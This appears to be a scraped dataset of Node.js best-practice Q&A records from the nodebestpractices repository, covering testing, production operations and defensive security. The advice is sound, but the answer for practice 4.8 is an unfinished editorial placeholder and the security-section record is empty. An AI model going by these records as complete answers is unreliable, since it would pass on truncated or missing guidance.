{"id": "gh_e06526696ed4", "question": "How to: ![✔] 4.6 Tag your tests", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Different tests must run on different scenarios: quick smoke, IO-less, tests should run when a developer saves or commits a file, full end-to-end tests usually run when a new pull request is submitted, etc. This can be achieved by tagging tests with keywords like #cold #api #sanity so you can grep with your testing harness and invoke the desired subset. For example, this is how you would invoke only the sanity test group with [Mocha](https://mochajs.org/): mocha --grep 'sanity'\n\n**Otherwise:** Running all the tests, including tests that perform dozens of DB queries, any time a developer makes a small change can be extremely slow and keeps developers away from running tests", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947102"}
{"id": "gh_46f0d6e3ccde", "question": "How to: ![✔] 4.7 Check your test coverage, it helps to identify wrong test patterns", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Code coverage tools like [Istanbul](https://github.com/istanbuljs/istanbuljs)/[NYC](https://github.com/istanbuljs/nyc) are great for 3 reasons: it comes for free (no effort is required to benefit this reports), it helps to identify a decrease in testing coverage, and last but not least it highlights testing mismatches: by looking at colored code coverage reports you may notice, for example, code areas that are never tested like catch clauses (meaning that tests only invoke the happy paths and not how the app behaves on errors). Set it to fail builds if the coverage falls under a certain threshold\n\n**Otherwise:** There won't be any automated metric telling you when a large portion of your code is not covered by testing", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947108"}
{"id": "gh_5b874dc972b4", "question": "How to: ![✔] 4.8 Use production-like environment for e2e testing", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** End to end (e2e) testing which includes live data used to be the weakest link of the CI process as it depends on multiple heavy services like DB. Use an environment which is as close to your real production environment as possible like a-continue (Missed -continue here, needs content. Judging by the **Otherwise** clause, this should mention docker-compose)\n\n**Otherwise:** Without docker-compose, teams must maintain a testing DB for each testing environment including developers' machines, keep all those DBs in sync so test results won't vary across environments", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947114"}
{"id": "gh_c8725383a79b", "question": "How to: ![✔] 4.9 Refactor regularly using static analysis tools", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Using static analysis tools helps by giving objective ways to improve code quality and keeps your code maintainable. You can add static analysis tools to your CI build to fail when it finds code smells. Its main selling points over plain linting are the ability to inspect quality in the context of multiple files (e.g. detect duplications), perform advanced analysis (e.g. code complexity), and follow the history and progress of code issues. Two examples of tools you can use are [Sonarqube](https://www.sonarqube.org/) (2,600+ [stars](https://github.com/SonarSource/sonarqube)) and [Code Climate](https://codeclimate.com/) (1,500+ [stars](https://github.com/codeclimate/codeclimate)).\n\n**Otherwise:** With poor code quality, bugs and performance will always be an issue that no shiny new library or state of the art features can fix\n\n🔗 [**Read More: Refactoring!**](./sections/testingandquality/refactoring.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947122"}
{"id": "gh_468d6a50154a", "question": "How to: ![✔] 4.11 Test your middlewares in isolation", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** When a middleware holds some immense logic that spans many requests, it is worth testing it in isolation without waking up the entire web framework. This can be easily achieved by stubbing and spying on the {req, res, next} objects\n\n**Otherwise:** A bug in Express middleware === a bug in all or most requests\n\n🔗 [**Read More: Test middlewares in isolation**](./sections/testingandquality/test-middlewares.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947129"}
{"id": "gh_2340a1ed60e5", "question": "How to: ![✔] 5.1. Monitoring", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Monitoring is a game of finding out issues before customers do – obviously this should be assigned unprecedented importance. The market is overwhelmed with offers thus consider starting with defining the basic metrics you must follow (my suggestions inside), then go over additional fancy features and choose the solution that ticks all boxes. In any case, the 4 layers of observability must be covered: uptime, metrics with focus on user-facing symptoms and Node.js technical metrics like event loop lag, distributed flows measurement with Open Telemetry and logging. Click ‘Read More’ below for an overview of the solutions\n\n**Otherwise:** Failure === disappointed customers. Simple\n\n🔗 [**Read More: Monitoring!**](./sections/production/monitoring.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947141"}
{"id": "gh_9385d7cf5646", "question": "How to: ![✔] 5.3. Delegate anything possible (e.g. gzip, SSL) to a reverse proxy", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Node is quite bad at doing CPU intensive tasks like gzipping, SSL termination, etc. You should use specialized infrastructure like nginx, HAproxy or cloud vendor services instead\n\n**Otherwise:** Your poor single thread will stay busy doing infrastructural tasks instead of dealing with your application core and performance will degrade accordingly\n\n🔗 [**Read More: Delegate anything possible (e.g. gzip, SSL) to a reverse proxy**](./sections/production/delegatetoproxy.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947154"}
{"id": "gh_b3a3d78b781f", "question": "How to: ![✔] 5.4. Lock dependencies", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Your code must be identical across all environments, but without a special lockfile npm lets dependencies drift across environments. Ensure to commit your package-lock.json so all the environments will be identical\n\n**Otherwise:** QA will thoroughly test the code and approve a version that will behave differently in production. Even worse, different servers in the same production cluster might run different code\n\n🔗 [**Read More: Lock dependencies**](./sections/production/lockdependencies.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947160"}
{"id": "gh_a35574608eb0", "question": "How to: ![✔] 5.5. Guard process uptime using the right tool", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** The process must go on and get restarted upon failures. Modern runtime platforms like Docker-ized platforms (e.g. Kubernetes), and Serverless take care for this automatically. When the app is hosted on a bare metal server, one must take care for a process management tools like [systemd](https://systemd.io/). Avoid including a custom process management tool in a modern platform that monitors an app instance (e.g., Kubernetes) - doing so will hide failures from the infrastructure. When the underlying infrastructure is not aware of errors, it can't perform useful mitigation steps like re-placing the instance in a different location\n\n**Otherwise:** Running dozens of instances without a clear strategy and too many tools together (cluster management, docker, PM2) might lead to DevOps chaos\n\n🔗 [**Read More: Guard process uptime using the right tool**](./sections/production/guardprocess.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947168"}
{"id": "gh_25893896efdf", "question": "How to: ![✔] 5.6. Utilize all CPU cores", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** At its basic form, a Node app runs on a single CPU core while all others are left idling. It’s your duty to replicate the Node process and utilize all CPUs. Most of the modern run-times platform (e.g., Kubernetes) allow replicating instances of the app but they won't verify that all cores are utilized - this is your duty. If the app is hosted on a bare server, it's also your duty to use some process replication solution (e.g. systemd)\n\n**Otherwise:** Your app will likely utilize only 25% of its available resources(!) or even less. Note that a typical server has 4 CPU cores or more, naive deployment of Node.js utilizes only 1 (even using PaaS services like AWS beanstalk!)\n\n🔗 [**Read More: Utilize all CPU cores**](./sections/production/utilizecpu.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947176"}
{"id": "gh_0de3e7d49460", "question": "How to: ![✔] 5.7. Create a ‘maintenance endpoint’", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Expose a set of system-related information, like memory usage and REPL, etc in a secured API. Although it’s highly recommended to rely on standard and battle-tested tools, some valuable information and operations are easier done using code\n\n**Otherwise:** You’ll find that you’re performing many “diagnostic deploys” – shipping code to production only to extract some information for diagnostic purposes\n\n🔗 [**Read More: Create a ‘maintenance endpoint’**](./sections/production/createmaintenanceendpoint.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947182"}
{"id": "gh_cea1f5ffa64f", "question": "How to: ![✔] 5.9. Make your code production-ready", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Code with the end in mind, plan for production from day 1. This sounds a bit vague so I’ve compiled a few development tips that are closely related to production maintenance (click 'Read More')\n\n**Otherwise:** A world champion IT/DevOps guy won’t save a system that is badly written\n\n🔗 [**Read More: Make your code production-ready**](./sections/production/productioncode.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947202"}
{"id": "gh_d9571b8a40fd", "question": "How to: ![✔] 5.10. Measure and guard the memory usage", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Node.js has controversial relationships with memory: the v8 engine has soft limits on memory usage (1.4GB) and there are known paths to leak memory in Node’s code – thus watching Node’s process memory is a must. In small apps, you may gauge memory periodically using shell commands but in medium-large apps consider baking your memory watch into a robust monitoring system\n\n**Otherwise:** Your process memory might leak a hundred megabytes a day like how it happened at [Walmart](https://www.joyent.com/blog/walmart-node-js-memory-leak)\n\n🔗 [**Read More: Measure and guard the memory usage**](./sections/production/measurememory.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947210"}
{"id": "gh_b69a74fd1ad7", "question": "How to: ![✔] 5.11. Get your frontend assets out of Node", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Serve frontend content using a specialized infrastructure (nginx, S3, CDN) because Node performance gets hurt when dealing with many static files due to its single-threaded model. One exception to this guideline is when doing server-side rendering\n\n**Otherwise:** Your single Node thread will be busy streaming hundreds of html/images/angular/react files instead of allocating all its resources for the task it was born for – serving dynamic content\n\n🔗 [**Read More: Get your frontend assets out of Node**](./sections/production/frontendout.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947217"}
{"id": "gh_bc4ddb7596a1", "question": "How to: ![✔] 5.13. Use tools that automatically detect vulnerabilities", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Even the most reputable dependencies such as Express have known vulnerabilities (from time to time) that can put a system at risk. This can be easily tamed using community and commercial tools that constantly check for vulnerabilities and warn (locally or at GitHub), some can even patch them immediately\n\n**Otherwise:** Keeping your code clean from vulnerabilities without dedicated tools will require you to constantly follow online publications about new threats. Quite tedious\n\n🔗 [**Read More: Use tools that automatically detect vulnerabilities**](./sections/production/detectvulnerabilities.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947234"}
{"id": "gh_504a825280ec", "question": "How to: ![✔] 5.14. Assign a transaction id to each log statement", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Assign the same identifier, transaction-id: uuid(), to each log entry within a single request (also known as correlation-id/tracing-id/request-context). Then when inspecting errors in logs, easily conclude what happened before and after. Node has a built-in mechanism, [AsyncLocalStorage](https://nodejs.org/api/async_context.html), for keeping the same context across asynchronous calls. see code examples inside\n\n**Otherwise:** Looking at a production error log without the context – what happened before – makes it much harder and slower to reason about the issue\n\n🔗 [**Read More: Assign ‘TransactionId’ to each log statement**](./sections/production/assigntransactionid.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947241"}
{"id": "gh_bdd1abd5ae90", "question": "How to: ![✔] 5.15. Set `NODE_ENV=production`", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Set the environment variable `NODE_ENV` to ‘production’ or ‘development’ to flag whether production optimizations should get activated – some npm packages determine the current environment and optimize their code for production\n\n**Otherwise:** Omitting this simple property might greatly degrade performance when dealing with some specific libraries like Express server-side rendering\n\n🔗 [**Read More: Set NODE_ENV=production**](./sections/production/setnodeenv.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947247"}
{"id": "gh_627522d92fbd", "question": "How to: ![✔] 5.16. Design automated, atomic and zero-downtime deployments", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Research shows that teams who perform many deployments lower the probability of severe production issues. Fast and automated deployments that don’t require risky manual steps and service downtime significantly improve the deployment process. You should probably achieve this using Docker combined with CI tools as they became the industry standard for streamlined deployment\n\n**Otherwise:** Long deployments -> production downtime & human-related error -> team unconfident in making deployment -> fewer deployments and features", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947254"}
{"id": "gh_372392e4062c", "question": "How to: ![✔] 5.17. Use an LTS release of Node.js", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Ensure you are using an LTS version of Node.js to receive critical bug fixes, security updates and performance improvements\n\n**Otherwise:** Newly discovered bugs or vulnerabilities could be used to exploit an application running in production, and your application may become unsupported by various modules and harder to maintain\n\n🔗 [**Read More: Use an LTS release of Node.js**](./sections/production/LTSrelease.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947260"}
{"id": "gh_d80d5790072d", "question": "How to: ![✔] 5.19. Install your packages with `npm ci`", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Run `npm ci` to strictly do a clean install of your dependencies matching package.json and package-lock.json. Obviously production code must use the exact version of the packages that were used for testing. While package-lock.json file sets strict version for dependencies, in case of mismatch with the file package.json, the command 'npm install' will treat package.json as the source of truth. On the other hand, the command 'npm ci' will exit with error in case of mismatch between these files\n\n**Otherwise:** QA will thoroughly test the code and approve a version that will behave differently in production. Even worse, different servers in the same production cluster might run different code.\n\n🔗 [**Read More: Use npm ci**](./sections/production/installpackageswithnpmci.md)\n⬆ Return to top", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947282"}
{"id": "gh_72e1759baa60", "question": "How to: `6. Security Best Practices`", "question_body": "About goldbergyoni/nodebestpractices", "answer": "", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947287"}
{"id": "gh_76f1caa3cc8b", "question": "How to: ![✔] 6.1. Embrace linter security rules", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Make use of security-related linter plugins such as [eslint-plugin-security](https://github.com/nodesecurity/eslint-plugin-security) to catch security vulnerabilities and issues as early as possible, preferably while they're being coded. This can help catching security weaknesses like using eval, invoking a child process or importing a module with a string literal (e.g. user input). Click 'Read more' below to see code examples that will get caught by a security linter\n\n**Otherwise:** What could have been a straightforward security weakness during development becomes a major issue in production. Also, the project may not follow consistent code security practices, leading to vulnerabilities being introduced, or sensitive secrets committed into remote repositories\n\n🔗 [**Read More: Lint rules**](./sections/security/lintrules.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947298"}
{"id": "gh_bf9ece17c9ee", "question": "How to: ![✔] 6.2. Limit concurrent requests using a middleware", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** DOS attacks are very popular and relatively easy to conduct. Implement rate limiting using an external service such as cloud load balancers, cloud firewalls, nginx, [rate-limiter-flexible](https://www.npmjs.com/package/rate-limiter-flexible) package, or (for smaller and less critical apps) a rate-limiting middleware (e.g. [express-rate-limit](https://www.npmjs.com/package/express-rate-limit))\n\n**Otherwise:** An application could be subject to an attack resulting in a denial of service where real users receive a degraded or unavailable service.\n\n🔗 [**Read More: Implement rate limiting**](./sections/security/limitrequests.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947305"}
{"id": "gh_fa5b1c3b8030", "question": "How to: ![✔] 6.3 Extract secrets from config files or use packages to encrypt them", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Never store plain-text secrets in configuration files or source code. Instead, make use of secret-management systems like Vault products, Kubernetes/Docker Secrets, or using environment variables. As a last resort, secrets stored in source control must be encrypted and managed (rolling keys, expiring, auditing, etc). Make use of pre-commit/push hooks to prevent committing secrets accidentally\n\n**Otherwise:** Source control, even for private repositories, can mistakenly be made public, at which point all secrets are exposed. Access to source control for an external party will inadvertently provide access to related systems (databases, apis, services, etc).\n\n🔗 [**Read More: Secret management**](./sections/security/secretmanagement.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947314"}
{"id": "gh_1a236fef9686", "question": "How to: ![✔] 6.4. Prevent query injection vulnerabilities with ORM/ODM libraries", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** To prevent SQL/NoSQL injection and other malicious attacks, always make use of an ORM/ODM or a database library that escapes data or supports named or indexed parameterized queries, and takes care of validating user input for expected types. Never just use JavaScript template strings or string concatenation to inject values into queries as this opens your application to a wide spectrum of vulnerabilities. All the reputable Node.js data access libraries (e.g. [Sequelize](https://github.com/sequelize/sequelize), [Knex](https://github.com/tgriesser/knex), [mongoose](https://github.com/Automattic/mongoose)) have built-in protection against injection attacks.\n\n**Otherwise:** Unvalidated or unsanitized user input could lead to operator injection when working with MongoDB for NoSQL, and not using a proper sanitization system or ORM will easily allow SQL injection attacks, creating a giant vulnerability.\n\n🔗 [**Read More: Query injection prevention using ORM/ODM libraries**](./sections/security/ormodmusage.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947322"}
{"id": "gh_213932a31ab9", "question": "How to: ![✔] 6.5. Collection of generic security best practices", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** This is a collection of security advice that is not related directly to Node.js - the Node implementation is not much different than any other language. Click read more to skim through.\n\n🔗 [**Read More: Common security best practices**](./sections/security/commonsecuritybestpractices.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947328"}
{"id": "gh_1f46f693fe7a", "question": "How to: ![✔] 6.6. Adjust the HTTP response headers for enhanced security", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Your application should be using secure headers to prevent attackers from using common attacks like cross-site scripting (XSS), clickjacking and other malicious attacks. These can be configured easily using modules like [helmet](https://www.npmjs.com/package/helmet).\n\n**Otherwise:** Attackers could perform direct attacks on your application's users, leading to huge security vulnerabilities\n\n🔗 [**Read More: Using secure headers in your application**](./sections/security/secureheaders.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947334"}
{"id": "gh_798e8ebfcc64", "question": "How to: ![✔] 6.7. Constantly and automatically inspect for vulnerable dependencies", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** With the npm ecosystem it is common to have many dependencies for a project. Dependencies should always be kept in check as new vulnerabilities are found. Use tools like [npm audit](https://docs.npmjs.com/cli/audit) or [snyk](https://snyk.io/) to track, monitor and patch vulnerable dependencies. Integrate these tools with your CI setup so you catch a vulnerable dependency before it makes it to production.\n\n**Otherwise:** An attacker could detect your web framework and attack all its known vulnerabilities.\n\n🔗 [**Read More: Dependency security**](./sections/security/dependencysecurity.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947341"}
{"id": "gh_48aee54f8751", "question": "How to: ![✔] 6.8. Protect Users' Passwords/Secrets using bcrypt or scrypt", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Passwords or secrets (e.g. API keys) should be stored using a secure hash + salt function like `bcrypt`,`scrypt`, or worst case `pbkdf2`.\n\n**Otherwise:** Passwords and secrets that are stored without using a secure function are vulnerable to brute forcing and dictionary attacks that will lead to their disclosure eventually.\n\n🔗 [**Read More: User Passwords**](./sections/security/userpasswords.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947348"}
{"id": "gh_0b4f7961b508", "question": "How to: ![✔] 6.9. Escape HTML, JS and CSS output", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Untrusted data that is sent down to the browser might get executed instead of just being displayed, this is commonly referred as a cross-site-scripting (XSS) attack. Mitigate this by using dedicated libraries that explicitly mark the data as pure content that should never get executed (i.e. encoding, escaping)\n\n**Otherwise:** An attacker might store malicious JavaScript code in your DB which will then be sent as-is to the poor clients\n\n🔗 [**Read More: Escape output**](./sections/security/escape-output.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947355"}
{"id": "gh_f79d6a950336", "question": "How to: ![✔] 6.10. Validate incoming JSON schemas", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Validate the incoming requests' body payload and ensure it meets expectations, fail fast if it doesn't. To avoid tedious validation coding within each route you may use lightweight JSON-based validation schemas such as [jsonschema](https://www.npmjs.com/package/jsonschema) or [joi](https://www.npmjs.com/package/joi)\n\n**Otherwise:** Your generosity and permissive approach greatly increases the attack surface and encourages the attacker to try out many inputs until they find some combination to crash the application\n\n🔗 [**Read More: Validate incoming JSON schemas**](./sections/security/validation.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947363"}
{"id": "gh_689c87f09787", "question": "How to: ![✔] 6.11. Support blocklisting JWTs", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** When using JSON Web Tokens (for example, with [Passport.js](https://github.com/jaredhanson/passport)), by default there's no mechanism to revoke access from issued tokens. Once you discover some malicious user activity, there's no way to stop them from accessing the system as long as they hold a valid token. Mitigate this by implementing a blocklist of untrusted tokens that are validated on each request.\n\n**Otherwise:** Expired, or misplaced tokens could be used maliciously by a third party to access an application and impersonate the owner of the token.\n\n🔗 [**Read More: Blocklist JSON Web Tokens**](./sections/security/expirejwt.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947378"}
{"id": "gh_4776669aa6a2", "question": "How to: ![✔] 6.12. Prevent brute-force attacks against authorization", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** A simple and powerful technique is to limit authorization attempts using two metrics:\n\n1. The first is number of consecutive failed attempts by the same user unique ID/name and IP address.\n2. The second is number of failed attempts from an IP address over some long period of time. For example, block an IP address if it makes 100 failed attempts in one day.\n\n**Otherwise:** An attacker can issue unlimited automated password attempts to gain access to privileged accounts on an application\n\n🔗 [**Read More: Login rate limiting**](./sections/security/login-rate-limit.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947386"}
{"id": "gh_05e7522dcd61", "question": "How to: ![✔] 6.13. Run Node.js as non-root user", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** There is a common scenario where Node.js runs as a root user with unlimited permissions. For example, this is the default behaviour in Docker containers. It's recommended to create a non-root user and either bake it into the Docker image (examples given below) or run the process on this user's behalf by invoking the container with the flag \"-u username\"\n\n**Otherwise:** An attacker who manages to run a script on the server gets unlimited power over the local machine (e.g. change iptable and re-route traffic to their server)\n\n🔗 [**Read More: Run Node.js as non-root user**](./sections/security/non-root-user.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947394"}
{"id": "gh_9febc2cf841c", "question": "How to: ![✔] 6.14. Limit payload size using a reverse-proxy or a middleware", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** The bigger the body payload is, the harder your single thread works in processing it. This is an opportunity for attackers to bring servers to their knees without tremendous amount of requests (DOS/DDOS attacks). Mitigate this limiting the body size of incoming requests on the edge (e.g. firewall, ELB) or by configuring [express body parser](https://github.com/expressjs/body-parser) to accept only small-size payloads\n\n**Otherwise:** Your application will have to deal with large requests, unable to process the other important work it has to accomplish, leading to performance implications and vulnerability towards DOS attacks\n\n🔗 [**Read More: Limit payload size**](./sections/security/requestpayloadsizelimit.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947402"}
